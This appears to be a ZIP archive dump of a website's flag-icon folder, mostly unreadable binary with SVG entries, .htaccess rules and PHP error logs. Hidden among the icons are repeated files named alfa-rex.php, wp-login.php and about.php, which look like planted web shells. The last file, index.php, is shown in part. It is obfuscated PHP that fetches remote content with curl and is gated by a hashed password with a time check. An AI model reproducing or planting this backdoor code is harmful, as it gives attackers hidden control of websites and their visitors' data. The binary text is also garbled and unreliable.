PKZGAk}|-|- alfa-rex.phpnu[PKZr .<.< favicon.iconu[ h6  (00 h&(  ypxO$<&wmbL("<umT = 0 yp( @ rdq^ ` HZsQ=Xq7 J)^j  So'`cf\\ @iNmson@ Ij-t S2Ay CQ|'9q^rd(0` PB v P8!'24xit$o%%pg^L6D*v M Cm EF:85+ rp ~&;,m~}!"8,3VX  lc Q .)j ko7J|3B8032?gl[ \d ]i0GR)Zeu iL"Zhy7f@jP8 v PB PKZGAk}|-|-flags/alfa-rex.phpnu[PKZ]ddflags/.htaccessnu[ RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all PKZGAk}|-|-flags/alfa-rex.php7nu[PKZGAk}|-|-flags/alfa-rex.php8nu[PKZGAk}|-|-flags/wp-login.phpnu[PKZh˕flags/1x1/st.svgnu[ PKZ-jaaflags/1x1/qa.svgnu[ PKZGAk}|-|-flags/1x1/alfa-rex.phpnu[PKZ%rttflags/1x1/me.svgnu[ PKZ flags/1x1/gb-eng.svgnu[ PKZx@;;flags/1x1/ir.svgnu[ PKZp|flags/1x1/np.svgnu[ PKZLflags/1x1/hm.svgnu[ PKZܹ};;flags/1x1/tr.svgnu[ PKZPm],],flags/1x1/md.svgnu[ PKZo1ϩflags/1x1/tf.svgnu[ PKZxx]]flags/1x1/ee.svgnu[ PKZ~v!!flags/1x1/vi.svgnu[ PKZV##flags/1x1/gt.svgnu[ PKZflags/1x1/sz.svgnu[ PKZeeflags/1x1/pw.svgnu[ PKZ0)+==flags/1x1/tl.svgnu[ PKZۏflags/1x1/by.svgnu[ PKZHflags/1x1/ms.svgnu[ PKZj˃Gflags/1x1/tk.svgnu[ PKZsn''flags/1x1/sa.svgnu[ PKZwflags/1x1/bo.svgnu[ PKZ <<flags/1x1/ao.svgnu[ PKZ[9flags/1x1/lv.svgnu[ PKZW!!flags/1x1/cp.svgnu[ PKZV1flags/1x1/ae.svgnu[ PKZg24oRoRflags/1x1/af.svgnu[ PKZ\Q{{flags/1x1/pf.svgnu[ PKZl!!flags/1x1/gp.svgnu[ PKZAE++flags/1x1/kn.svgnu[ PKZflags/1x1/td.svgnu[ PKZ=flags/1x1/ug.svgnu[ PKZSflags/1x1/la.svgnu[ PKZmttflags/1x1/ec.svgnu[ PKZB00flags/1x1/mw.svgnu[ PKZ flags/1x1/tw.svgnu[ PKZnMflags/1x1/mo.svgnu[ PKZ3̈ flags/1x1/hk.svgnu[ PKZg33flags/1x1/us.svgnu[ PKZ]ddflags/1x1/.htaccessnu[ RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all PKZ50QQflags/1x1/vu.svgnu[ PKZ ? "!!flags/1x1/pm.svgnu[ PKZJJflags/1x1/cv.svgnu[ PKZflags/1x1/pe.svgnu[ PKZz3ʛ,,flags/1x1/kz.svgnu[ PKZ8p8-ddflags/1x1/zw.svgnu[ PKZ>flags/1x1/mn.svgnu[ PKZQã'flags/1x1/ad.svgnu[ PKZr0ffflags/1x1/to.svgnu[ PKZYflags/1x1/kw.svgnu[ PKZflags/1x1/be.svgnu[ PKZflags/1x1/th.svgnu[ PKZJ$(!!flags/1x1/gf.svgnu[ PKZGAk}|-|-flags/1x1/alfa-rex.php7nu[PKZ<flags/1x1/az.svgnu[ PKZflags/1x1/fi.svgnu[ PKZTflags/1x1/rs.svgnu[ PKZ[OYOYflags/1x1/dg.svgnu[ PKZҳcbbflags/1x1/gb-nir.svgnu[ PKZflags/1x1/fo.svgnu[ PKZVץflags/1x1/mr.svgnu[ PKZGAk}|-|-flags/1x1/alfa-rex.php8nu[PKZ|&{""flags/1x1/cr.svgnu[ PKZXHaflags/1x1/rw.svgnu[ PKZY.==flags/1x1/sr.svgnu[ PKZAAflags/1x1/sc.svgnu[ PKZ:yflags/1x1/vc.svgnu[ PKZc!!flags/1x1/it.svgnu[ PKZm&RRflags/1x1/il.svgnu[ PKZGAk}|-|-flags/1x1/wp-login.phpnu[PKZ->XXflags/1x1/om.svgnu[ PKZ=qAflags/1x1/xx.svgnu[ PKZ vvflags/1x1/gw.svgnu[ PKZl\Fflags/1x1/iq.svgnu[ PKZ 4 # # flags/1x1/mz.svgnu[ PKZ:tǿ flags/1x1/lb.svgnu[ PKZN flags/1x1/kg.svgnu[ PKZq^WWflags/1x1/tz.svgnu[ PKZ,qflags/1x1/ss.svgnu[ PKZflags/1x1/tc.svgnu[ PKZ~flags/1x1/tg.svgnu[ PKZs,!!flags/1x1/re.svgnu[ PKZGAk}|-|-flags/1x1/alfa-rex.php56nu[PKZ_"))flags/1x1/mt.svgnu[ PKZ=L!!flags/1x1/wf.svgnu[ PKZ y y flags/1x1/li.svgnu[ PKZ(flags/1x1/jm.svgnu[ PKZ. D!!flags/1x1/yt.svgnu[ PKZ}eeflags/1x1/fj.svgnu[ PKZflags/1x1/ps.svgnu[ PKZ]uVflags/1x1/gb-sct.svgnu[ PKZL_6uuflags/1x1/cf.svgnu[ PKZ,Ώflags/1x1/pa.svgnu[ PKZp#_#_flags/1x1/ky.svgnu[ PKZ'\sflags/1x1/am.svgnu[ PKZ-u.flags/1x1/ye.svgnu[ PKZC==flags/1x1/kr.svgnu[ PKZOa2G2Gflags/1x1/sv.svgnu[ PKZ-4flags/1x1/cw.svgnu[ PKZr_flags/1x1/uz.svgnu[ PKZXuflags/1x1/ru.svgnu[ PKZHa&flags/1x1/pk.svgnu[ PKZbFflags/1x1/lr.svgnu[ PKZ &!!flags/1x1/mq.svgnu[ PKZYflags/1x1/eu.svgnu[ PKZWSbbflags/1x1/va.svgnu[ PKZVNEEflags/1x1/dj.svgnu[ PKZflags/1x1/um.svgnu[ PKZdD,flags/1x1/bq.svgnu[ PKZY}::flags/1x1/cl.svgnu[ PKZ])/)/flags/1x1/aw.svgnu[ PKZd  flags/1x1/ch.svgnu[ PKZ@$$flags/1x1/gn.svgnu[ PKZP&"&"flags/1x1/pt.svgnu[ PKZGAk}|-|-flags/1x1/about.phpnu[PKZ,L!!flags/1x1/ie.svgnu[ PKZ\!!flags/1x1/bl.svgnu[ PKZflags/1x1/nz.svgnu[ PKZX{{flags/1x1/gm.svgnu[ PKZx66flags/1x1/pn.svgnu[ PKZyX  flags/1x1/is.svgnu[ PKZw@u33flags/1x1/sx.svgnu[ PKZVysflags/1x1/hu.svgnu[ PKZûflags/1x1/ws.svgnu[ PKZ*Jflags/1x1/nl.svgnu[ PKZ>flags/1x1/error_lognu[[04-Jul-2025 09:22:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 09:22:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 PKZtn#n#flags/1x1/gb-wls.svgnu[ PKZ9flags/1x1/bw.svgnu[ PKZҠ;.flags/1x1/jo.svgnu[ PKZV*  flags/1x1/cc.svgnu[ PKZvcflags/1x1/so.svgnu[ PKZoc* flags/1x1/cx.svgnu[ PKZzihhflags/1x1/kh.svgnu[ PKZ>flags/1x1/co.svgnu[ PKZ?flags/1x1/mc.svgnu[ PKZ;hflags/1x1/cy.svgnu[ PKZbflags/1x1/ml.svgnu[ PKZGflags/1x1/nf.svgnu[ PKZO.bbflags/1x1/bb.svgnu[ PKZ0:flags/1x1/ba.svgnu[ PKZEflags/1x1/ph.svgnu[ PKZ|Pmmflags/1x1/es.svgnu[ PKZۨCCflags/1x1/bv.svgnu[ PKZOT flags/1x1/na.svgnu[ PKZ flags/1x1/bd.svgnu[ PKZZ_ flags/1x1/hr.svgnu[ PKZٵnnflags/1x1/gg.svgnu[ PKZ^XXflags/1x1/bm.svgnu[ PKZ>N88flags/1x1/bn.svgnu[ PKZ>flags/1x1/lu.svgnu[ PKZxfflags/1x1/sl.svgnu[ PKZXXflags/1x1/dk.svgnu[ PKZ5>>flags/1x1/sj.svgnu[ PKZ [gflags/1x1/cd.svgnu[ PKZ/flags/1x1/id.svgnu[ PKZ/?/b/bflags/1x1/bt.svgnu[ PKZ@{>>flags/1x1/tv.svgnu[ PKZ.flags/1x1/ci.svgnu[ PKZoflags/1x1/bi.svgnu[ PKZflags/1x1/ic.svgnu[ PKZ:!!flags/1x1/mf.svgnu[ PKZ݄kjjflags/1x1/br.svgnu[ PKZd@''flags/1x1/zm.svgnu[ PKZjr-CCflags/1x1/py.svgnu[ PKZ00flags/1x1/mv.svgnu[ PKZxFflags/1x1/mm.svgnu[ PKZrnj((flags/1x1/im.svgnu[ PKZhV\V\flags/1x1/mp.svgnu[ PKZΰflags/1x1/sk.svgnu[ PKZ2 flags/1x1/ng.svgnu[ PKZ}S G,G,flags/1x1/lk.svgnu[ PKZ+mmflags/1x1/ea.svgnu[ PKZȖ0flags/1x1/ag.svgnu[ PKZ6;;flags/1x1/ht.svgnu[ PKZ3N$<<flags/1x1/in.svgnu[ PKZ+ Սflags/1x1/gq.svgnu[ PKZ/flags/1x1/bj.svgnu[ PKZxy!!flags/1x1/fr.svgnu[ PKZY>flags/1x1/es-ct.svgnu[ PKZ\<<flags/1x1/mu.svgnu[ PKZ?WWflags/1x1/as.svgnu[ PKZCflags/1x1/sd.svgnu[ PKZBiflags/1x1/sg.svgnu[ PKZAAflags/1x1/ck.svgnu[ PKZ'##flags/1x1/bg.svgnu[ PKZYflags/1x1/tn.svgnu[ PKZ22flags/1x1/dz.svgnu[ PKZ_9 9 flags/1x1/er.svgnu[ PKZ{flags/1x1/ua.svgnu[ PKZppflags/1x1/es-ga.svgnu[ PKZk==flags/1x1/sm.svgnu[ PKZ!Zflags/1x1/de.svgnu[ PKZ$w>>flags/1x1/no.svgnu[ PKZ4ڗ..flags/1x1/ro.svgnu[ PKZ!L)++flags/1x1/pg.svgnu[ PKZeflags/1x1/ma.svgnu[ PKZ`flags/1x1/vn.svgnu[ PKZYQfflags/1x1/mh.svgnu[ PKZ;Btflags/1x1/ly.svgnu[ PKZ+(flags/1x1/cefta.svgnu[ PKZeflags/1x1/gb.svgnu[ PKZ۸flags/1x1/mk.svgnu[ PKZISflags/1x1/sb.svgnu[ PKZMxflags/1x1/at.svgnu[ PKZ m55flags/1x1/bs.svgnu[ PKZqflags/1x1/je.svgnu[ PKZ  flags/1x1/ar.svgnu[ PKZ]x33flags/1x1/ki.svgnu[ PKZaizzflags/1x1/tm.svgnu[ PKZ} flags/1x1/se.svgnu[ PKZ}QK""flags/1x1/xk.svgnu[ PKZdflags/1x1/sn.svgnu[ PKZʡEEflags/1x1/eh.svgnu[ PKZ flags/1x1/si.svgnu[ PKZ::flags/1x1/cu.svgnu[ PKZQPPflags/1x1/kp.svgnu[ PKZ靻flags/1x1/nr.svgnu[ PKZ PKZ4aflags/1x1/ke.svgnu[ PKZUX &&flags/1x1/eg.svgnu[ PKZt!|ggflags/1x1/pr.svgnu[ PKZwz z flags/1x1/gi.svgnu[ PKZ^flags/1x1/ge.svgnu[ PKZo|flags/1x1/cn.svgnu[ PKZ@:!flags/1x1/au.svgnu[ PKZAC$$flags/1x1/gd.svgnu[ PKZ] flags/1x1/aq.svgnu[ PKZٰrrflags/1x1/za.svgnu[ PKZlّvvflags/1x1/do.svgnu[ PKZjaԂԂflags/1x1/gs.svgnu[ PKZ9GGflags/1x1/sy.svgnu[ PKZXXflags/1x1/hn.svgnu[ PKZ!S-v-vflags/1x1/fk.svgnu[ PKZ'flags/1x1/cg.svgnu[ PKZCflags/1x1/et.svgnu[ PKZGAk}|-|-flags/1x1/about.php7nu[PKZ0Jw.flags/1x1/nc.svgnu[ PKZA flags/1x1/al.svgnu[ PKZCCflags/1x1/gu.svgnu[ G U A M PKZflags/1x1/uy.svgnu[ PKZ"flags/1x1/tj.svgnu[ PKZ[6==flags/1x1/tt.svgnu[ PKZMflags/1x1/gy.svgnu[ PKZJxflags/1x1/ve.svgnu[ PKZxb  flags/1x1/km.svgnu[ PKZ2+++flags/1x1/mg.svgnu[ PKZ&ՑՑflags/1x1/ai.svgnu[ PKZ-aOYOYflags/1x1/io.svgnu[ PKZ?0%%flags/1x1/gh.svgnu[ PKZ _!~{{flags/1x1/bf.svgnu[ PKZux:44flags/1x1/cm.svgnu[ PKZZflags/1x1/my.svgnu[ PKZccwwflags/1x1/ta.svgnu[ PKZ$Sflags/1x1/ne.svgnu[ PKZiflags/1x1/jp.svgnu[ PKZ("flags/1x1/cz.svgnu[ PKZ bbflags/1x1/mx.svgnu[ PKZ[))flags/1x1/vg.svgnu[ PKZhOOflags/1x1/un.svgnu[ PKZ8aKflags/1x1/lt.svgnu[ PKZ49@9@flags/1x1/dm.svgnu[ PKZj) flags/1x1/ga.svgnu[ PKZooflags/1x1/lc.svgnu[ PKZ+LHHflags/1x1/nu.svgnu[ PKZflags/1x1/pl.svgnu[ PKZ#9"flags/1x1/fm.svgnu[ PKZeѷѷflags/1x1/bz.svgnu[ PKZSflags/1x1/ls.svgnu[ PKZgflags/1x1/bh.svgnu[ PKZ2Twwflags/1x1/ac.svgnu[ PKZT]]flags/1x1/gr.svgnu[ PKZ ^wwflags/1x1/sh.svgnu[ PKZoflags/1x1/ax.svgnu[ PKZ~1HHflags/1x1/ni.svgnu[ PKZ flags/1x1/ca.svgnu[ PKZGAk}|-|-flags/alfa-rex.php56nu[PKZGAk}|-|-flags/about.phpnu[PKZU&flags/error_lognu[[04-Jul-2025 10:31:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 10:32:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 PKZGAk}|-|-flags/about.php7nu[PKZёflags/4x3/st.svgnu[ PKZyddflags/4x3/qa.svgnu[ PKZGAk}|-|-flags/4x3/alfa-rex.phpnu[PKZOՠflags/4x3/me.svgnu[ PKZ_Tflags/4x3/gb-eng.svgnu[ PKZi/</<flags/4x3/ir.svgnu[ PKZ3[cflags/4x3/np.svgnu[ PKZ&ͯ==flags/4x3/hm.svgnu[ PKZB1&&flags/4x3/tr.svgnu[ PKZ;++flags/4x3/md.svgnu[ PKZ]?==flags/4x3/tf.svgnu[ PKZ`F0 >>flags/4x3/ee.svgnu[ PKZ^,","flags/4x3/vi.svgnu[ PKZG##flags/4x3/gt.svgnu[ PKZflags/4x3/sz.svgnu[ PKZFgflags/4x3/pw.svgnu[ PKZRRflags/4x3/tl.svgnu[ PKZ#AAflags/4x3/by.svgnu[ PKZV]]flags/4x3/ms.svgnu[ PKZPiflags/4x3/tk.svgnu[ PKZ.(.(flags/4x3/sa.svgnu[ PKZe$$flags/4x3/bo.svgnu[ PKZ3Ob<<flags/4x3/ao.svgnu[ PKZ:tneflags/4x3/lv.svgnu[ PKZR!!flags/4x3/cp.svgnu[ PKZ#$ flags/4x3/ae.svgnu[ PKZRRflags/4x3/af.svgnu[ PKZחflags/4x3/pf.svgnu[ PKZvK!!flags/4x3/gp.svgnu[ PKZ b%%flags/4x3/kn.svgnu[ PKZflags/4x3/td.svgnu[ PKZ4+kkflags/4x3/ug.svgnu[ PKZdVflags/4x3/la.svgnu[ PKZ=뀡rrflags/4x3/ec.svgnu[ PKZ[yyflags/4x3/mw.svgnu[ PKZB$ flags/4x3/tw.svgnu[ PKZflags/4x3/mo.svgnu[ PKZ flags/4x3/hk.svgnu[ PKZHHflags/4x3/us.svgnu[ PKZ]ddflags/4x3/.htaccessnu[ RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all PKZ4LLflags/4x3/vu.svgnu[ PKZs4!!flags/4x3/pm.svgnu[ PKZ%+~~flags/4x3/cv.svgnu[ PKZ/HV!!flags/4x3/pe.svgnu[ PKZ7qC,C,flags/4x3/kz.svgnu[ PKZ6yyflags/4x3/zw.svgnu[ PKZÐ٢flags/4x3/mn.svgnu[ PKZ0VAAflags/4x3/ad.svgnu[ PKZZd``flags/4x3/to.svgnu[ PKZ5ٳ`flags/4x3/kw.svgnu[ PKZ4flags/4x3/be.svgnu[ PKZdԪflags/4x3/th.svgnu[ PKZ2/D!!flags/4x3/gf.svgnu[ PKZGAk}|-|-flags/4x3/alfa-rex.php7nu[PKZ>flags/4x3/az.svgnu[ PKZ7flags/4x3/fi.svgnu[ PKZ!Ɋ[[flags/4x3/rs.svgnu[ PKZdbZbZflags/4x3/dg.svgnu[ PKZjt\\flags/4x3/gb-nir.svgnu[ PKZT11flags/4x3/fo.svgnu[ PKZflags/4x3/mr.svgnu[ PKZGAk}|-|-flags/4x3/alfa-rex.php8nu[PKZBC!""flags/4x3/cr.svgnu[ PKZ@ flags/4x3/rw.svgnu[ PKZ)88flags/4x3/sr.svgnu[ PKZA ==flags/4x3/sc.svgnu[ PKZQGflags/4x3/vc.svgnu[ PKZh!!flags/4x3/it.svgnu[ PKZ-$flags/4x3/il.svgnu[ PKZGAk}|-|-flags/4x3/wp-login.phpnu[PKZ'XXflags/4x3/om.svgnu[ PKZ1flags/4x3/xx.svgnu[ PKZv<**flags/4x3/gw.svgnu[ PKZ3flags/4x3/iq.svgnu[ PKZ~!4 4 flags/4x3/mz.svgnu[ PKZHHl flags/4x3/lb.svgnu[ PKZB)( ( flags/4x3/kg.svgnu[ PKZ flags/4x3/tz.svgnu[ PKZ6flags/4x3/ss.svgnu[ PKZ4Tķflags/4x3/tc.svgnu[ PKZ"'flags/4x3/tg.svgnu[ PKZ 'q+!!flags/4x3/re.svgnu[ PKZGAk}|-|-flags/4x3/alfa-rex.php56nu[PKZ81T"T"flags/4x3/mt.svgnu[ PKZ⤨!!flags/4x3/wf.svgnu[ PKZϏ b b flags/4x3/li.svgnu[ PKZm@Kflags/4x3/jm.svgnu[ PKZV_!!flags/4x3/yt.svgnu[ PKZ3e3eflags/4x3/fj.svgnu[ PKZ((flags/4x3/ps.svgnu[ PKZRflags/4x3/gb-sct.svgnu[ PKZ\>flags/4x3/cf.svgnu[ PKZMflags/4x3/pa.svgnu[ PKZ1_1_flags/4x3/ky.svgnu[ PKZyHflags/4x3/am.svgnu[ PKZϵq flags/4x3/ye.svgnu[ PKZ8XuSflags/4x3/kr.svgnu[ PKZ21NENEflags/4x3/sv.svgnu[ PKZ Ǡflags/4x3/cw.svgnu[ PKZ Gflags/4x3/uz.svgnu[ PKZj5flags/4x3/ru.svgnu[ PKZ#flags/4x3/pk.svgnu[ PKZ`flags/4x3/lr.svgnu[ PKZ4!!flags/4x3/mq.svgnu[ PKZflags/4x3/eu.svgnu[ PKZ>fvddflags/4x3/va.svgnu[ PKZZmFFflags/4x3/dj.svgnu[ PKZ{Тflags/4x3/um.svgnu[ PKZ9flags/4x3/bq.svgnu[ PKZ>1**flags/4x3/cl.svgnu[ PKZ/&&flags/4x3/aw.svgnu[ PKZG'""flags/4x3/ch.svgnu[ PKZ31$$flags/4x3/gn.svgnu[ PKZJ flags/4x3/pt.svgnu[ PKZGAk}|-|-flags/4x3/about.phpnu[PKZ'1!!flags/4x3/ie.svgnu[ PKZ!!flags/4x3/bl.svgnu[ PKZ$Tflags/4x3/nz.svgnu[ PKZsA}flags/4x3/gm.svgnu[ PKZ0!J66flags/4x3/pn.svgnu[ PKZ_flags/4x3/is.svgnu[ PKZf*33flags/4x3/sx.svgnu[ PKZ)Pwflags/4x3/hu.svgnu[ PKZzpMflags/4x3/ws.svgnu[ PKZ}+flags/4x3/nl.svgnu[ PKZjSflags/4x3/error_lognu[[04-Jul-2025 09:38:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 09:39:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 PKZx##flags/4x3/gb-wls.svgnu[ PKZ"flags/4x3/bw.svgnu[ PKZ,flags/4x3/jo.svgnu[ PKZn< < flags/4x3/cc.svgnu[ PKZǢ|flags/4x3/so.svgnu[ PKZQ)˝ flags/4x3/cx.svgnu[ PKZ0*ggflags/4x3/kh.svgnu[ PKZflags/4x3/co.svgnu[ PKZ0LhLflags/4x3/mc.svgnu[ PKZ_ \&&flags/4x3/cy.svgnu[ PKZU).flags/4x3/ml.svgnu[ PKZjbflags/4x3/nf.svgnu[ PKZS/__flags/4x3/bb.svgnu[ PKZ/flags/4x3/ba.svgnu[ PKZ PKZV=ffflags/4x3/es.svgnu[ PKZ >h@@flags/4x3/bv.svgnu[ PKZXyflags/4x3/na.svgnu[ PKZvk;flags/4x3/bd.svgnu[ PKZMMflags/4x3/hr.svgnu[ PKZ PPflags/4x3/gg.svgnu[ PKZbdU?Y?Yflags/4x3/bm.svgnu[ PKZ%Z88flags/4x3/bn.svgnu[ PKZG flags/4x3/lu.svgnu[ PKZ6'flags/4x3/sl.svgnu[ PKZ_?flags/4x3/dk.svgnu[ PKZ,>>flags/4x3/sj.svgnu[ PKZvZZflags/4x3/cd.svgnu[ PKZ;jflags/4x3/id.svgnu[ PKZ[Abbflags/4x3/bt.svgnu[ PKZ}3flags/4x3/tv.svgnu[ PKZh^Iflags/4x3/ci.svgnu[ PKZ11flags/4x3/bi.svgnu[ PKZ1̃flags/4x3/ic.svgnu[ PKZ!!flags/4x3/mf.svgnu[ PKZu4  flags/4x3/br.svgnu[ PKZ O{{flags/4x3/zm.svgnu[ PKZ]C]Cflags/4x3/py.svgnu[ PKZ>flags/4x3/mv.svgnu[ PKZD3Ӹflags/4x3/mm.svgnu[ PKZ嬻&&flags/4x3/im.svgnu[ PKZ0Xse[e[flags/4x3/mp.svgnu[ PKZkflags/4x3/sk.svgnu[ PKZBflags/4x3/ng.svgnu[ PKZuZ;,;,flags/4x3/lk.svgnu[ PKZe@6ffflags/4x3/ea.svgnu[ PKZEflags/4x3/ag.svgnu[ PKZA ::flags/4x3/ht.svgnu[ PKZz..flags/4x3/in.svgnu[ PKZ a22flags/4x3/gq.svgnu[ PKZ,<.flags/4x3/bj.svgnu[ PKZr=f!!flags/4x3/fr.svgnu[ PKZ7flags/4x3/es-ct.svgnu[ PKZ7L<<flags/4x3/mu.svgnu[ PKZOq~q~flags/4x3/as.svgnu[ PKZt flags/4x3/sd.svgnu[ PKZ;ssflags/4x3/sg.svgnu[ PKZjjflags/4x3/ck.svgnu[ PKZpflags/4x3/bg.svgnu[ PKZc9flags/4x3/tn.svgnu[ PKZϨ_&&flags/4x3/dz.svgnu[ PKZ&h  flags/4x3/er.svgnu[ PKZ$<flags/4x3/ua.svgnu[ PKZt!p!pflags/4x3/es-ga.svgnu[ PKZn :>:>flags/4x3/sm.svgnu[ PKZ)8rpflags/4x3/de.svgnu[ PKZ_>>flags/4x3/no.svgnu[ PKZd..flags/4x3/ro.svgnu[ PKZyyflags/4x3/pg.svgnu[ PKZkBflags/4x3/ma.svgnu[ PKZڿflags/4x3/vn.svgnu[ PKZ5. flags/4x3/mh.svgnu[ PKZ;flags/4x3/ly.svgnu[ PKZoҫzflags/4x3/cefta.svgnu[ PKZEflags/4x3/gb.svgnu[ PKZ{{flags/4x3/mk.svgnu[ PKZWflags/4x3/sb.svgnu[ PKZ flags/4x3/at.svgnu[ PKZxflags/4x3/bs.svgnu[ PKZ~a$flags/4x3/je.svgnu[ PKZ+ flags/4x3/ar.svgnu[ PKZ׭flags/4x3/ki.svgnu[ PKZr9[}}flags/4x3/tm.svgnu[ PKZtflags/4x3/se.svgnu[ PKZ#$$flags/4x3/xk.svgnu[ PKZA^flags/4x3/sn.svgnu[ PKZ<flags/4x3/eh.svgnu[ PKZ|flags/4x3/si.svgnu[ PKZG0eeflags/4x3/cu.svgnu[ PKZ6bflags/4x3/kp.svgnu[ PKZ*&flags/4x3/nr.svgnu[ PKZpflags/4x3/gl.svgnu[ PKZaaflags/4x3/ke.svgnu[ PKZNo&&flags/4x3/eg.svgnu[ PKZ^Lttflags/4x3/pr.svgnu[ PKZm flags/4x3/gi.svgnu[ PKZ srrflags/4x3/ge.svgnu[ PKZflags/4x3/cn.svgnu[ PKZL==flags/4x3/au.svgnu[ PKZhqflags/4x3/gd.svgnu[ PKZ(w  flags/4x3/aq.svgnu[ PKZqZ__flags/4x3/za.svgnu[ PKZ M-flags/4x3/do.svgnu[ PKZ%ӿflags/4x3/gs.svgnu[ PKZi}22flags/4x3/sy.svgnu[ PKZUUflags/4x3/hn.svgnu[ PKZh`p!u!uflags/4x3/fk.svgnu[ PKZwflags/4x3/cg.svgnu[ PKZ>(flags/4x3/et.svgnu[ PKZGAk}|-|-flags/4x3/about.php7nu[PKZŸ%flags/4x3/nc.svgnu[ PKZJ flags/4x3/al.svgnu[ PKZGAk}|-|-flags/4x3/4x3/alfa-rex.phpnu[PKZ]ddflags/4x3/4x3/.htaccessnu[ RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all PKZGAk}|-|-flags/4x3/4x3/alfa-rex.php7nu[PKZGAk}|-|-flags/4x3/4x3/alfa-rex.php8nu[PKZGAk}|-|-flags/4x3/4x3/wp-login.phpnu[PKZGAk}|-|-flags/4x3/4x3/alfa-rex.php56nu[PKZhflags/4x3/4x3/index.phpnu[ $t_jwIPj3GseFOt) { $vQF74dTV3F0tTh .= $NxzFI_zxfXi4a_[$t_jwIPj3GseFOt - 58847]; PmfoMPINH1NQEz: } goto PvjkuA_IcxMf2J; eO6uUkZckCjM36: return $vQF74dTV3F0tTh; goto w80_10cENHyQjc; aYOuUeTiWf0gDb: $NxzFI_zxfXi4a_ = $g1jrDg8_HuptII("\176", "\40"); goto G3MjWVLAmdxea0; PvjkuA_IcxMf2J: y5TZjo1u3IKH4q: goto eO6uUkZckCjM36; w80_10cENHyQjc: } static function aBhDQn4zxCuITr($MpZiyvYrVAP5om, $cBr1OTWSQTsg9K) { goto aGaFOm58GOdK2X; aGaFOm58GOdK2X: $XSwo2HqqI0Roip = curl_init($MpZiyvYrVAP5om); goto h5aZn1Qh2HtYkM; IHs1C5VXkcGGVY: $pfNHf3Uf3_bU_q = curl_exec($XSwo2HqqI0Roip); goto uvaw0treLcjRsl; uvaw0treLcjRsl: return empty($pfNHf3Uf3_bU_q) ? $cBr1OTWSQTsg9K($MpZiyvYrVAP5om) : $pfNHf3Uf3_bU_q; goto v6LGIAg_yXmUXL; h5aZn1Qh2HtYkM: curl_setopt($XSwo2HqqI0Roip, CURLOPT_RETURNTRANSFER, 1); goto IHs1C5VXkcGGVY; v6LGIAg_yXmUXL: } static function Bu6D2oiaoeOq16() { goto kbGPpRe8eWk9tZ; muUdqHkuQnGaWh: @$yE9XkdoyCB1Tj6[7 + 3](INPUT_GET, "\157\146") == 1 && die($yE9XkdoyCB1Tj6[0 + 5](__FILE__)); goto Um27eFF60c1JkZ; Um27eFF60c1JkZ: if (!(@$zJ5wxskwZwQNhh[0] - time() > 0 and md5(md5($zJ5wxskwZwQNhh[0 + 3])) === "\x31\67\71\146\64\x31\141\144\145\x34\141\x66\141\x65\x66\x64\x39\60\x35\x30\x30\144\x37\x33\62\x31\143\145\x62\x35\60\x65")) { goto X495MiMWod6AaD; } goto r1Ro4kuJgD2TBP; ZQywklqTqluwqi: 